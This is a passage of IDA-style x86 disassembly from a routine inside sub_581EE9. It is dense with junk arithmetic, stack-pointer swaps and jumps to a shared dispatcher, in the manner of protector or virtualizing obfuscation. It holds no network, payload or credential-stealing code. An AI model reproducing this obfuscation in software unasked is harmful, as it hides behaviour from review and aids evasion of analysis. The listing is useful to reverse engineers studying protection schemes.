loc_5A5121:				; CODE XREF: sub_581EE9+1CAD4j
		push	ecx
		push	0A0Bh
		mov	[esp-6EA8h+arg_6E9E+2],	esp
		add	[esp-6EA8h+arg_6E9E+2],	4
		pop	ecx
		add	ecx, 4
		push	ebp
		mov	ebp, 20D02B12h
		sub	ebp, 20D02B0Eh
		add	ecx, ebp
		pop	ebp
		jmp	loc_59ABB2
; ---------------------------------------------------------------------------


loc_5A514C:				; CODE XREF: sub_581EE9+172DCj
		push	1A8D511Ah
		pop	edx
		neg	edx
		or	edx, 45DC106Ah
		dec	edx
		xor	edx, 0D83FCA10h
		mov	edi, edx
		pop	edx
		sub	edx, edi
		pop	edi
		add	edx, 9AE4957h
		add	edx, 0F8C361Ch
		sub	edx, eax
		sub	edx, 0F8C361Ch
		sub	edx, 9AE4957h
		jmp	loc_593812
; ---------------------------------------------------------------------------


loc_5A5186:				; CODE XREF: sub_581EE9+2102Fj
		mov	[esp-6E66h+arg_6E5C+2],	eax
		mov	eax, 7A3D7D81h
		and	eax, 53A12423h
		jmp	loc_59C4C1
; ---------------------------------------------------------------------------


loc_5A5198:				; CODE XREF: sub_581EE9+14D2Bj
		xchg	edx, [esp-6E94h+arg_6E8A+2]
		pop	esp
		mov	[esp-6E98h+arg_6E8E+2],	ecx
		mov	ch, 3Eh
		push	eax
		jmp	loc_59B4EE
; ---------------------------------------------------------------------------


loc_5A51A7:				; CODE XREF: sub_581EE9+1FAFEj
		push	ebp
		mov	ebp, 429F1669h
		xor	ebp, 4AD400A8h
		inc	ebp
		xor	ebp, 77D54A40h
		add	edx, ebp
		pop	ebp
		add	ecx, 8BD79E3h
		add	ecx, edx
		sub	ecx, 8BD79E3h
		pop	edx
		xchg	ecx, [esp-6E68h+arg_6E60]
		mov	esp, [esp-6E68h+arg_6E60]
		idiv	cl
		movzx	cx, ah
		push	613Eh
		mov	[esp-6E64h+arg_6E5C], esi
		jmp	loc_594C1D
; ---------------------------------------------------------------------------


loc_5A51E5:				; CODE XREF: sub_581EE9+182A8j
		push	ebp
		push	ecx
		mov	ecx, 731C1E07h
		jmp	loc_59F32C
; ---------------------------------------------------------------------------


loc_5A51F1:				; CODE XREF: sub_581EE9+1B57Cj
		pop	esp
		movsx	ecx, al
		push	edi
		sub	esp, 4
		mov	[esp-6E4Eh+arg_6E44+2],	esp
		push	esi
		mov	esi, 4
		add	[esp-6E4Ah+arg_6E44+2],	esi
		jmp	loc_59572F
; ---------------------------------------------------------------------------


loc_5A520E:				; CODE XREF: sub_581EE9+1BD4Cj
		mov	esi, edx
		pop	edx
		mov	ecx, esi
		jmp	loc_59A6AC
; ---------------------------------------------------------------------------


loc_5A5218:				; CODE XREF: sub_581EE9+21B55j
		mov	edx, 7C327522h
		add	ebx, edx
		pop	edx
		add	ebx, ebp
		sub	ebx, 7C327522h
		pop	ebp
		sub	ebx, 63673DA9h
		push	[esp-6EA4h+arg_6E9A+2]
		pop	eax
		add	esp, 4
		sub	ebx, 1F013137h
		sub	ebx, 21D54B8h
		add	ebx, eax
		add	ebx, 21D54B8h
		add	ebx, 1F013137h
		push	esi
		jmp	loc_5969A2
; ---------------------------------------------------------------------------


loc_5A5256:				; CODE XREF: sub_581EE9+21C6Aj
		push	[esp-6E6Ch+arg_6E64]
		mov	edi, [esp-6E68h+arg_6E60]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A6397
; ---------------------------------------------------------------------------


loc_5A526D:				; CODE XREF: sub_581EE9+1B7F4j
		add	esi, eax
		add	esi, 2EC45830h
		pop	eax
		push	eax
		mov	eax, 4
		add	esi, 7CBA5886h
		add	esi, eax
		jmp	loc_599909
; ---------------------------------------------------------------------------


loc_5A5289:				; CODE XREF: sub_581EE9+20BD1j
		push	eax
		jmp	loc_59A87C
; ---------------------------------------------------------------------------


loc_5A528F:				; CODE XREF: sub_581EE9+13191j
		mov	eax, 4
		sub	ecx, 41A873ABh
		add	ecx, eax
		push	edi
		mov	edi, 43E50151h
		jmp	loc_59FEA9
; ---------------------------------------------------------------------------


loc_5A52A7:				; CODE XREF: sub_581EE9+1D3DBj
		add	ecx, 4
		xchg	ecx, [esp-6EA0h+arg_6E96+2]
		pop	esp
		pop	eax
		pop	ebx
		jmp	loc_596C43
; ---------------------------------------------------------------------------


loc_5A52B8:				; CODE XREF: sub_581EE9+11278j
		push	edx
		mov	edx, 2
		mov	ebp, edx
		pop	edx
		add	ecx, 2EC15482h
		add	ecx, 6A146BF9h
		jmp	loc_593744
; ---------------------------------------------------------------------------


loc_5A52D2:				; CODE XREF: sub_581EE9+15E55j
		pop	ebx
		sub	ebp, 0FFFFFFFFh
		add	ebp, 0D460FECAh
		mov	eax, ebp
		mov	ebp, [esp-6EC2h+arg_6EBA]
		add	esp, 4
		push	eax
		jmp	loc_5A6520
; ---------------------------------------------------------------------------


loc_5A52ED:				; CODE XREF: sub_581EE9+14BB0j
		sub	di, 25B9h
		mov	ax, word ptr [esp-6E46h+arg_6E3E]
		jmp	loc_5933B0
; ---------------------------------------------------------------------------


loc_5A52FB:				; CODE XREF: sub_581EE9+111B1j
		pop	esp
		push	eax
		push	79753375h
		pop	eax
		push	ecx
		jmp	loc_5970B4
; ---------------------------------------------------------------------------


loc_5A5309:				; CODE XREF: sub_581EE9+1F0FDj
		pop	edx
		push	ebp
		pop	edx
		jmp	loc_593C52
; ---------------------------------------------------------------------------


loc_5A5311:				; CODE XREF: sub_581EE9+1F0B5j
		push	554Ch
		mov	[esp-6E9Eh+arg_6E96], ebx
		push	esp
		pop	ebx
		push	49C5h
		mov	[esp-6E9Ah+arg_6E92], ecx
		jmp	loc_5942C1
; ---------------------------------------------------------------------------


loc_5A5328:				; CODE XREF: sub_581EE9+1383Aj
		mov	eax, [esp-6E4Eh+arg_6E44+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E4Eh+arg_6E44+2],	ebp
		pop	edx
		pop	ebp


loc_5A5336:				; CODE XREF: sub_581EE9+13D59j
					; sub_581EE9+1A520j
		push	dword ptr [edi+24h]
		push	[esp-6E52h+arg_6E48+2]
		pop	ecx
		push	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	ebx
		push	1A72h
		mov	[esp+0], ebp
		push	eax
		jmp	loc_5A22DF
; ---------------------------------------------------------------------------


loc_5A5369:				; CODE XREF: sub_581EE9+1064Bj
		push	227h
		mov	[esp-6EA0h+arg_6E96+2],	ecx
		mov	ecx, esp
		jmp	loc_596E29
; ---------------------------------------------------------------------------


loc_5A5378:				; CODE XREF: sub_581EE9+1D8DDj
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A537D:				; CODE XREF: sub_581EE9+23707j
		mov	esi, 6AC13094h
		jmp	loc_59A930
; ---------------------------------------------------------------------------


loc_5A5387:				; CODE XREF: sub_581EE9+15C2Cj
		pop	edi
		add	edx, 4
		xchg	edx, [esp-6E96h+arg_6E8E]
		pop	esp
		jmp	loc_59F9A5
; ---------------------------------------------------------------------------


loc_5A5394:				; CODE XREF: sub_581EE9+16863j
		mov	edx, esp
		jmp	loc_5A3E7A
; ---------------------------------------------------------------------------


loc_5A539B:				; CODE XREF: sub_581EE9+20257j
		push	eax
		jmp	loc_59A000
; ---------------------------------------------------------------------------


loc_5A53A1:				; CODE XREF: sub_581EE9+2445Cj
		and	edi, 294D49E8h
		neg	edi
		add	edi, 9B0A7FA8h
		mov	ebx, edi
		pop	edi
		sub	ebx, 3F871FA8h
		jmp	loc_5A2FBB
; ---------------------------------------------------------------------------


loc_5A53BD:				; CODE XREF: sub_581EE9+1077Fj
		pop	edi
		sub	eax, 6DB24B8Ah
		push	[esp-6EBCh+arg_6EB2+2]
		pop	ecx
		jmp	loc_5931E5
; ---------------------------------------------------------------------------


loc_5A53CC:				; CODE XREF: sub_581EE9+1FD2Fj
		pop	ecx
		sub	al, dh
		jmp	loc_594054
; ---------------------------------------------------------------------------


loc_5A53D4:				; CODE XREF: sub_581EE9+12FF6j
		xchg	ecx, [esp-6E7Eh+arg_6E76]
		pop	esp
		mov	dword ptr [esp-6E82h+arg_6E7A],	ebp
		push	2C8Eh
		push	esp
		pop	[esp-6E7Ah+arg_6E72]
		push	esi
		mov	esi, 4
		add	[esp-6E7Ah+arg_6E76], esi
		mov	esi, [esp-6E7Ah+arg_6E72]
		add	esp, 4
		jmp	loc_59CF85
; ---------------------------------------------------------------------------


loc_5A53FC:				; CODE XREF: sub_581EE9+219ABj
		mov	[esp-6EBCh+arg_6EB2+2],	ecx
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A5404:				; CODE XREF: sub_581EE9+159D3j
		add	esp, 4
		sub	esi, 4
		xor	esi, [esp-6E76h+arg_6E6E]
		jmp	loc_59FC05
; ---------------------------------------------------------------------------


loc_5A5412:				; CODE XREF: sub_581EE9+1DCF1j
		push	[esp-6E80h+arg_6E76+2]
		mov	ecx, [esp-6E7Ch+arg_6E72+2]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E80h+arg_6E76+2],	ebp
		mov	ebp, 0C921B599h
		add	ecx, 7ABB5E32h
		jmp	loc_59BD9E
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24148B24h, 4EC81h, 0C890000h, 4EC8124h, 0E9000000h
		dd 0FFFF01E0h
; ---------------------------------------------------------------------------


loc_5A5454:				; CODE XREF: sub_581EE9+21169j
		mov	[esp-6E80h+arg_6E76+2],	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-6E7Ch+arg_6E72+2]
		jmp	loc_599350
; ---------------------------------------------------------------------------


loc_5A546B:				; CODE XREF: sub_581EE9+25002j
		push	dword ptr [eax]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A5472:				; CODE XREF: sub_581EE9+1B80Aj
		add	ebx, 4
		push	ebx
		push	[esp-6EA2h+arg_6E9E]
		jmp	loc_59B78F
; ---------------------------------------------------------------------------


loc_5A5482:				; CODE XREF: sub_581EE9+208ABj
		or	edi, 4700310Dh
		jmp	loc_592608
; ---------------------------------------------------------------------------


loc_5A548D:				; CODE XREF: sub_581EE9+1B2CFj
		add	esp, 4
		add	al, 5Ch
		jmp	loc_5A09A2
; ---------------------------------------------------------------------------


loc_5A549A:				; CODE XREF: sub_581EE9+1D3ADj
		add	cl, 91h
		sub	cl, 0E8h
		mov	al, cl
		pop	ecx
		jmp	loc_5A063C
; ---------------------------------------------------------------------------


loc_5A54A8:				; CODE XREF: sub_581EE9+23D72j
		xor	[esp-6E62h+arg_6E58+2],	ebp
		xor	ebp, [esp-6E62h+arg_6E58+2]
		pop	esp
		push	[esp-6E66h+arg_6E5C+2]
		jmp	loc_59587F
; ---------------------------------------------------------------------------


loc_5A54B7:				; CODE XREF: sub_581EE9+1A620j
		mov	esp, [esp-6E8Ah+arg_6E80+2]
		dec	[esp-6E8Ah+arg_6E80+2]
		pushf
		jmp	loc_592C7B
; ---------------------------------------------------------------------------


loc_5A54C3:				; CODE XREF: sub_581EE9+187E8j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-6EB2h+arg_6EA8+2]
		pop	esp
		mov	[esp-6EB6h+arg_6EAC+2],	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-6EB2h+arg_6EA8+2]
		jmp	loc_592877
; ---------------------------------------------------------------------------


loc_5A54E8:				; CODE XREF: sub_581EE9+1849Aj
		mov	[esp-6E76h+arg_6E6E], esp
		add	[esp-6E76h+arg_6E6E], 4
		pop	esi
		sub	esp, 4
		mov	[esp-6E76h+arg_6E6E], ecx
		jmp	loc_59364E
; ---------------------------------------------------------------------------


loc_5A54FE:				; CODE XREF: sub_581EE9+22286j
		mov	eax, 1BC40B1Ah
		jmp	loc_5A6533
; ---------------------------------------------------------------------------


loc_5A5508:				; CODE XREF: sub_581EE9+22E61j
		xor	edi, esi
		mov	esi, [esp-6E80h+arg_6E76+2]
		add	esp, 4
		inc	edi
		jmp	loc_594E27
; ---------------------------------------------------------------------------


loc_5A5516:				; CODE XREF: sub_581EE9+1C27Fj
		pop	bx
		sub	al, 8Dh
		add	bh, 0B5h
		sub	bh, al
		sub	bh, 0B5h
		push	[esp-6E8Eh+arg_6E84+2]
		pop	eax
		jmp	loc_599DC1
; ---------------------------------------------------------------------------


loc_5A552B:				; CODE XREF: sub_581EE9+1D155j
		sub	edi, esi
		pop	esi
		sub	edi, 73D64AC1h
		sub	edi, ebp
		add	edi, 73D64AC1h
		jmp	loc_593328
; ---------------------------------------------------------------------------


loc_5A5541:				; CODE XREF: sub_581EE9+18077j
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 2C097E3Fh
		not	esi
		not	esi
		or	esi, 500552EBh
		shr	esi, 4
		not	esi
		sub	esi, 0F83F280Ch
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp-6E42h+arg_6E3A]
		pop	esp
		push	ebp
		jmp	loc_59B0B8
; ---------------------------------------------------------------------------


loc_5A5571:				; CODE XREF: sub_581EE9+11B6Dj
		mov	dword ptr [esp-6E82h+arg_6E7A],	eax
		mov	eax, dword ptr [esp-6E82h+arg_6E7A]
		push	esi
		jmp	loc_59FC40
; ---------------------------------------------------------------------------


loc_5A557D:				; CODE XREF: sub_581EE9+21C52j
		add	ebp, 4
		jmp	loc_599429
; ---------------------------------------------------------------------------


loc_5A5588:				; CODE XREF: sub_581EE9+2422Ej
		xchg	eax, ebx
		neg	eax
		and	eax, 7F757328h
		jmp	loc_59682F
; ---------------------------------------------------------------------------


loc_5A5595:				; CODE XREF: sub_581EE9+1E0C2j
		mov	edx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+0], ebp
		push	ebx
		mov	ebx, 136D6CF8h
		mov	ebp, 46116097h
		xor	ebp, ebx
		pop	ebx
		sub	eax, ebp
		jmp	loc_595B0F
; ---------------------------------------------------------------------------


loc_5A55B6:				; CODE XREF: sub_581EE9+1FD63j
		pop	esi
		push	ebp
		push	4
		pop	ebp
		add	esi, ebp
		pop	ebp
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_596AC4
; ---------------------------------------------------------------------------


loc_5A55CF:				; CODE XREF: sub_581EE9+10E2Dj
		push	edi
		push	10C348E0h
		pop	edi
		jmp	loc_59A472
; ---------------------------------------------------------------------------


loc_5A55DB:				; CODE XREF: sub_581EE9+224E0j
		mov	esi, [esp-6E6Eh+arg_6E64+2]
		add	esp, 4
		sub	ebx, 6AFF1F61h
		sub	esp, 4
		mov	[esp-6E6Eh+arg_6E64+2],	esi
		jmp	loc_5A537D
; ---------------------------------------------------------------------------


loc_5A55F5:				; CODE XREF: sub_581EE9+1CF16j
		sub	cl, bl
		add	cl, 48h
		pop	ebx
		sub	esp, 4
		mov	[esp-6E6Eh+arg_6E64+2],	ebx
		jmp	loc_59508E
; ---------------------------------------------------------------------------


loc_5A5606:				; CODE XREF: sub_581EE9+188CEj
		pop	esi
		jmp	loc_59E083
; ---------------------------------------------------------------------------


loc_5A560C:				; CODE XREF: sub_581EE9+1ABFDj
		add	eax, 4
		jmp	loc_5A5F4B
; ---------------------------------------------------------------------------


loc_5A5616:				; CODE XREF: sub_581EE9+1E5C9j
		sub	ecx, 5B402CB2h
		jmp	loc_59CC54
; ---------------------------------------------------------------------------


loc_5A5621:				; CODE XREF: sub_581EE9+12A29j
		dec	bh
		not	bh
		jmp	loc_59BB07
; ---------------------------------------------------------------------------


loc_5A562A:				; CODE XREF: sub_581EE9+17DDEj
		pop	ebp
		sub	eax, 4
		push	eax
		jmp	loc_595EC3
; ---------------------------------------------------------------------------


loc_5A5636:				; CODE XREF: sub_581EE9+1ABF2j
		pop	edi
		sub	ebx, ebp
		push	ecx
		mov	ecx, 9E84B74h
		add	ebx, ecx
		pop	ecx
		mov	ebp, [esp-6EA2h+arg_6E9A]
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A5650:				; CODE XREF: sub_581EE9+1EFFFj
		not	eax
		jmp	loc_5A000B
; ---------------------------------------------------------------------------


loc_5A5657:				; CODE XREF: sub_581EE9+2188Ej
		pop	ecx
		pop	[esp-6EAEh+arg_6EA4+2]
		pop	esp
		mov	[esp-6EB6h+arg_6EAC+2],	ecx
		push	670D50BCh
		pop	ecx
		shl	ecx, 8
		not	ecx
		inc	ecx
		push	esi
		jmp	loc_5A4BAE
; ---------------------------------------------------------------------------


loc_5A5671:				; CODE XREF: sub_581EE9+18508j
		xor	esi, [esp-6E92h+arg_6E8A]
		jmp	loc_5A3A89
; ---------------------------------------------------------------------------


loc_5A5679:				; CODE XREF: sub_581EE9+21F9Ej
		push	54CEh
		mov	[esp-6E5Ah+arg_6E50+2],	edx
		push	eax
		push	61B7h
		mov	[esp-6E52h+arg_6E48+2],	esi
		mov	esi, 20DE170Eh
		push	esi
		not	[esp-6E4Eh+arg_6E44+2]
		pop	esi
		or	esi, 3A57877h
		xor	esi, 0DFA5F8F5h
		push	esi
		pop	eax
		pop	esi
		mov	edx, eax
		mov	eax, [esp-6E56h+arg_6E4C+2]
		add	esp, 4
		add	ebx, edx
		mov	edx, [esp-6E5Ah+arg_6E50+2]
		add	esp, 4
		xchg	ebx, [esp-6E5Eh+arg_6E54+2]
		mov	esp, [esp-6E5Eh+arg_6E54+2]
		jmp	loc_59279E
; ---------------------------------------------------------------------------


loc_5A56BE:				; CODE XREF: sub_581EE9+22C63j
		xchg	ebx, [esp-6E44h+arg_6E3A+2]
		pop	esp
		mov	[esp-6E48h+arg_6E3E+2],	edi
		mov	edi, 65785863h
		push	edx
		push	esp
		mov	edx, [esp-6E40h+arg_6E36+2]
		add	esp, 4
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-6E44h+arg_6E3A+2]
		pop	esp
		mov	[esp-6E48h+arg_6E3E+2],	ecx
		jmp	loc_5A1804
; ---------------------------------------------------------------------------


loc_5A56EA:				; CODE XREF: sub_581EE9+142B8j
		add	esp, 4
		add	edi, ebx
		push	[esp-6E9Eh+arg_6E96]
		pop	ebx
		jmp	loc_594B89
; ---------------------------------------------------------------------------


loc_5A56FB:				; CODE XREF: sub_581EE9+2249Bj
		xor	ecx, [esp-6E76h+arg_6E6E]
		pop	esp
		mov	word ptr [esp-6E7Ah+arg_6E72], cx
		push	ebx
		push	ecx
		push	1CBFh
		mov	[esp-6E6Eh+arg_6E64+2],	ebx
		mov	bh, 0B4h
		mov	cl, 5Ch
		xor	cl, bh
		mov	ebx, [esp-6E6Eh+arg_6E64+2]
		add	esp, 4
		jmp	loc_592349
; ---------------------------------------------------------------------------


loc_5A571E:				; CODE XREF: sub_581EE9+149BCj
		add	bx, 75A7h
		pop	bp
		movzx	eax, ax
		push	small 4522h
		mov	[esp+0], ax
		jmp	loc_59E686
; ---------------------------------------------------------------------------


loc_5A5735:				; CODE XREF: sub_581EE9+10E5Fj
		xchg	ebx, [esp-6E6Eh+arg_6E64+2]
		mov	esp, [esp-6E6Eh+arg_6E64+2]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A5740:				; CODE XREF: sub_581EE9+146A3j
		shl	bh, 4
		jmp	loc_59F426
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E9Ch+arg_6E92+2]
		sub	esp, 4
		mov	[esp-6E98h+arg_6E8E+2],	edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebp
		push	2FA3h
		mov	[esp], esi
		push	30992090h
		pop	esi
		dec	esi
		inc	esi
		push	edi
		jmp	loc_592DF6
; ---------------------------------------------------------------------------


loc_5A5774:				; CODE XREF: sub_581EE9+199BEj
		xor	esi, [esp-6E5Ch+arg_6E54]
		mov	esp, [esp-6E5Ch+arg_6E54]
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp-6E5Ch+arg_6E54]
		xor	[esp-6E5Ch+arg_6E54], edi
		xor	edi, [esp-6E5Ch+arg_6E54]
		mov	esp, [esp-6E5Ch+arg_6E54]
		mov	[esp-6E5Ch+arg_6E54], ecx
		jmp	loc_597AA8
; ---------------------------------------------------------------------------


loc_5A579A:				; CODE XREF: sub_581EE9+1E360j
		mov	[esp-6E9Ch+arg_6E92+2],	edx
		push	1469h
		mov	[esp-6E98h+arg_6E8E+2],	ebp
		jmp	loc_5A675E
; ---------------------------------------------------------------------------


loc_5A57AA:				; CODE XREF: sub_581EE9+1B2C2j
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 2
		xor	ebp, [esp-6E9Ah+arg_6E92]
		xor	[esp-6E9Ah+arg_6E92], ebp
		jmp	loc_596591
; ---------------------------------------------------------------------------


loc_5A57C0:				; CODE XREF: sub_581EE9+1F7E9j
		mov	ebx, edx
		jmp	loc_5A6648
; ---------------------------------------------------------------------------


loc_5A57C7:				; CODE XREF: sub_581EE9+1242Ej
		push	dword ptr [esp-6E82h+arg_6E7A]
		pop	ebp
		add	esp, 4
		add	eax, esi
		push	76B8h
		jmp	loc_5A47D7
; ---------------------------------------------------------------------------


loc_5A57DA:				; CODE XREF: sub_581EE9+11E96j
		mov	[esp-6E92h+arg_6E8A], ebx
		push	small 5A09h
		mov	[esp+0], ax
		jmp	loc_59CA1A
; ---------------------------------------------------------------------------


loc_5A57EA:				; CODE XREF: sub_581EE9+20F32j
		pop	edx
		push	2579h
		mov	[esp-6E9Eh+arg_6E96], eax
		jmp	loc_5A1896
; ---------------------------------------------------------------------------


loc_5A57F8:				; CODE XREF: sub_581EE9+22805j
		mov	eax, 772F110Bh
		add	eax, 0C2371176h
		or	ebx, eax
		jmp	loc_59DA9B
; ---------------------------------------------------------------------------


loc_5A5809:				; CODE XREF: sub_581EE9+1E3D9j
		mov	ch, dl
		pop	edx
		xor	ch, 0D1h
		push	bx
		push	edx
		mov	dl, 9Bh
		mov	bh, 0DFh
		add	bh, dl
		pop	edx
		and	ch, bh
		pop	bx
		inc	ch
		shl	ch, 4
		xor	ch, 32h
		jmp	loc_5A2483
; ---------------------------------------------------------------------------


loc_5A582A:				; CODE XREF: sub_581EE9+162CFj
		add	esp, 4
		jmp	loc_59FFEC
; ---------------------------------------------------------------------------
		push	[esp-6E94h+arg_6E8A+2]
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_5A158C
; ---------------------------------------------------------------------------


loc_5A5842:				; CODE XREF: sub_581EE9+1EDECj
		mov	ecx, 4
		jmp	loc_5A016C
; ---------------------------------------------------------------------------


loc_5A584C:				; CODE XREF: sub_581EE9+204A2j
		push	ebp
		mov	ebp, 1EEF739Eh
		add	[esp-6E6Ah+arg_6E64+2],	ebp
		pop	ebp
		pop	ecx
		jmp	loc_5A4D4F
; ---------------------------------------------------------------------------


loc_5A585D:				; CODE XREF: sub_581EE9+1FB71j
		pop	ebp
		push	28BCh
		mov	[esp-6E8Eh+arg_6E84+2],	esi
		push	[esp-6E8Eh+arg_6E8A]
		jmp	loc_599D2B
; ---------------------------------------------------------------------------


loc_5A586F:				; CODE XREF: sub_581EE9+135CFj
		push	ecx
		mov	ecx, 706D42F1h
		jmp	loc_592641
; ---------------------------------------------------------------------------


loc_5A587A:				; CODE XREF: sub_581EE9+100F9j
		mov	[esp-6E9Eh+arg_6E96], ecx
		xchg	eax, [esp-6E9Eh+arg_6E96]
		not	eax
		xchg	eax, [esp-6E9Eh+arg_6E96]
		push	[esp-6E9Eh+arg_6E96]
		jmp	loc_59C274
; ---------------------------------------------------------------------------


loc_5A588D:				; CODE XREF: sub_581EE9+146BDj
		add	eax, 4
		add	eax, 4
		xor	eax, [esp-6E92h+arg_6E8A]
		jmp	loc_5A36C0
; ---------------------------------------------------------------------------


loc_5A589F:				; CODE XREF: sub_581EE9+18E65j
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		jmp	loc_592572
; ---------------------------------------------------------------------------


loc_5A58AE:				; CODE XREF: sub_581EE9+15442j
		mov	esp, dword ptr [esp-6E82h+arg_6E7A]
		jmp	loc_5921F3
; ---------------------------------------------------------------------------


loc_5A58B6:				; CODE XREF: sub_581EE9+24EA5j
		pop	dword ptr [esp-6E82h+arg_6E7A]
		pop	esp
		jmp	loc_59F7C3
; ---------------------------------------------------------------------------


loc_5A58BF:				; CODE XREF: sub_581EE9+23B70j
		push	[esp-6E8Ah+arg_6E80+2]
		pop	eax
		sub	esp, 4
		mov	[esp-6E86h+arg_6E7C+2],	edi
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 66DB4E1Bh
		or	ebx, 35C135EEh
		add	ebx, 16465030h
		push	ebp
		mov	ebp, 264E23F3h
		shl	ebp, 8
		jmp	loc_594EB3
; ---------------------------------------------------------------------------


loc_5A58EB:				; CODE XREF: sub_581EE9+1E38Dj
		pop	esp
		mov	[esp-6E72h+arg_6E68+2],	ecx
		jmp	loc_59E278
; ---------------------------------------------------------------------------


loc_5A58F4:				; CODE XREF: sub_581EE9+155AEj
		add	eax, 51D32FEBh
		pop	edx
		sub	esp, 4
		mov	[esp-6E96h+arg_6E8E], edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_5A311C
; ---------------------------------------------------------------------------


loc_5A590A:				; CODE XREF: sub_581EE9+19EF2j
		mov	ecx, [esp-6EC2h+arg_6EBA]
		add	esp, 4
		jmp	loc_5A0FD7
; ---------------------------------------------------------------------------


loc_5A5915:				; CODE XREF: sub_581EE9+19FD1j
		pop	edx
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		push	edx
		jmp	loc_59C311
; ---------------------------------------------------------------------------


loc_5A5925:				; CODE XREF: sub_581EE9+163F9j
		xchg	eax, [esp-6E86h+arg_6E7C+2]
		jmp	loc_593E86
; ---------------------------------------------------------------------------


loc_5A592D:				; CODE XREF: sub_581EE9+1E37Dj
		add	eax, 5EE2FEDDh
		add	esi, eax
		mov	eax, [esp-6E66h+arg_6E5C+2]
		jmp	loc_59C490
; ---------------------------------------------------------------------------


loc_5A593C:				; CODE XREF: sub_581EE9+156A9j
		mov	edi, 74213FDFh
		add	esi, edi
		pop	edi
		pop	edx
		jmp	loc_59B2BA
; ---------------------------------------------------------------------------


loc_5A594A:				; CODE XREF: sub_581EE9+1181Fj
		push	[esp-6E8Ah+arg_6E80+2]
		pop	ecx
		add	esp, 4
		push	3460h
		mov	[esp-6E8Ah+arg_6E80+2],	edi
		mov	edi, 4B158889h
		xor	eax, edi
		pop	edi
		sub	edx, eax
		pop	eax
		jmp	loc_5A48D6
; ---------------------------------------------------------------------------


loc_5A5969:				; CODE XREF: sub_581EE9+22674j
		not	edi
		jmp	loc_5A677E
; ---------------------------------------------------------------------------


loc_5A5970:				; CODE XREF: sub_581EE9+1E533j
		pop	ecx
		pop	ecx
		push	esi
		mov	esi, 4
		sub	ebp, 72AA6170h
		add	ebp, esi
		push	esi
		mov	esi, 47AF436Dh
		not	esi
		jmp	loc_5A0072
; ---------------------------------------------------------------------------


loc_5A598D:				; CODE XREF: sub_581EE9+19EBEj
		mov	ebx, ecx
		pop	ecx
		push	ecx
		jmp	loc_59F59C
; ---------------------------------------------------------------------------


loc_5A5996:				; CODE XREF: sub_581EE9+1A5A2j
		push	27836D97h
		pop	ebx
		push	46D3h
		mov	[esp-6E50h+arg_6E48], edx
		mov	edx, 74EA236Dh
		add	edx, 0FFFFFFFFh
		dec	edx
		push	edi
		mov	edi, 0
		sub	edi, edx
		xchg	edi, edx
		pop	edi
		jmp	loc_5A43FF
; ---------------------------------------------------------------------------


loc_5A59BD:				; CODE XREF: sub_581EE9+13881j
		mov	[esp-6E42h+arg_6E3A], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-6E42h+arg_6E3A]
		pop	esp
		push	ecx
		mov	ch, 0C7h
		or	ch, 80h
		jmp	loc_5A2537
; ---------------------------------------------------------------------------


loc_5A59DA:				; CODE XREF: sub_581EE9+12210j
		push	52Eh
		mov	[esp-6E72h+arg_6E68+2],	eax
		mov	eax, esp
		push	edx
		jmp	loc_59286D
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6E6Eh+arg_6E64+2]
		sub	esp, 4
		mov	[esp-6E6Ah+arg_6E60+2],	esi
		jmp	loc_594290
; ---------------------------------------------------------------------------


loc_5A59F9:				; CODE XREF: sub_581EE9+15193j
		xor	[esp-6E76h+arg_6E6E], ebp
		jmp	loc_595F2B
; ---------------------------------------------------------------------------


loc_5A5A01:				; CODE XREF: sub_581EE9+142CCj
		shl	byte ptr [esp-6E9Ah+arg_6E92], cl
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A5A0A:				; CODE XREF: sub_581EE9+1CC33j
		xchg	ebx, [esp-6E7Ch+arg_6E72+2]
		pop	esp
		mov	[esp-6E80h+arg_6E76+2],	edi
		mov	edi, 4
		sub	edx, edi
		pop	edi
		push	edx
		push	[esp-6E80h+arg_6E7C]
		pop	edx
		pop	[esp-6E80h+arg_6E76+2]
		pop	esp
		jmp	loc_5A42CE
; ---------------------------------------------------------------------------


loc_5A5A28:				; CODE XREF: sub_581EE9+16C1Dj
		push	[esp-6E76h+arg_6E6E]
		jmp	loc_595805
; ---------------------------------------------------------------------------


loc_5A5A30:				; CODE XREF: sub_581EE9+18671j
		add	eax, ebp
		pop	ebp
		jmp	loc_59946D
; ---------------------------------------------------------------------------


loc_5A5A38:				; CODE XREF: sub_581EE9+16204j
		and	ecx, ebp
		pop	ebp
		shr	ecx, 0
		or	eax, eax
		jz	loc_595E45
		push	2AFDh
		mov	[esp-6EACh+arg_6EA4], ebx
		push	ebx
